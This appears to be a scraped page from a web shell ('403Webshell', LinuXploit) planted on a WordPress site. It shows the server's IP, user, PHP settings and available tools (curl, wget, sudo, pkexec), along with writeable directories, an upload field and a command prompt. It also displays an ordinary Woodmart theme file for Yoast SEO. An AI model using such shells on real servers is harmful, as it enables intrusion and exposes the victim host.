403Webshell
Server IP : 192.64.112.168  /  Your IP : 18.190.239.38
Web Server : Apache
System : Linux nc-ph-2300-85.bluforrest.com 4.18.0-513.9.1.el8_9.x86_64 #1 SMP Sat Dec 2 05:23:44 EST 2023 x86_64
User : expressoneac ( 1128)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/expressoneac/www/wp-content/themes/woodmart/inc/integrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/expressoneac/www/wp-content/themes/woodmart/inc/integrations/yoast.php
<?php
/**
 * Yoast.
 *
 * @package woodmart
 */

if ( ! function_exists( 'YoastSEO' ) ) {
	return;
}

add_action( 'category_description', 'woodmart_page_css_files_disable', 9 );
add_action( 'term_description', 'woodmart_page_css_files_disable', 9 );

add_action( 'category_description', 'woodmart_page_css_files_enable', 11 );
add_action( 'term_description', 'woodmart_page_css_files_enable', 11 );

if ( ! function_exists( 'woodmart_layout_post_type_filter' ) ) {
	/**
	 * Exclude woodmart layout from Optimize SEO.
	 *
	 * @param array $post_types Post type.
	 * @return mixed
	 */
	function woodmart_layout_post_type_filter( $post_types ) {
		if ( isset( $post_types['woodmart_layout'] ) ) {
			unset( $post_types['woodmart_layout'] );
		}

		return $post_types;
	}

	add_filter( 'wpseo_accessible_post_types', 'woodmart_layout_post_type_filter' );
}

if ( ! function_exists( 'woodmart_indexable_excluded_post_types' ) ) {
	/**
	 * Exclude woodmart layout from Optimize SEO.
	 *
	 * @param array $post_types Post type.
	 * @return mixed
	 */
	function woodmart_indexable_excluded_post_types( $post_types ) {
		$post_types[] = 'woodmart_layout';

		return $post_types;
	}

	add_filter( 'wpseo_indexable_excluded_post_types', 'woodmart_indexable_excluded_post_types' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit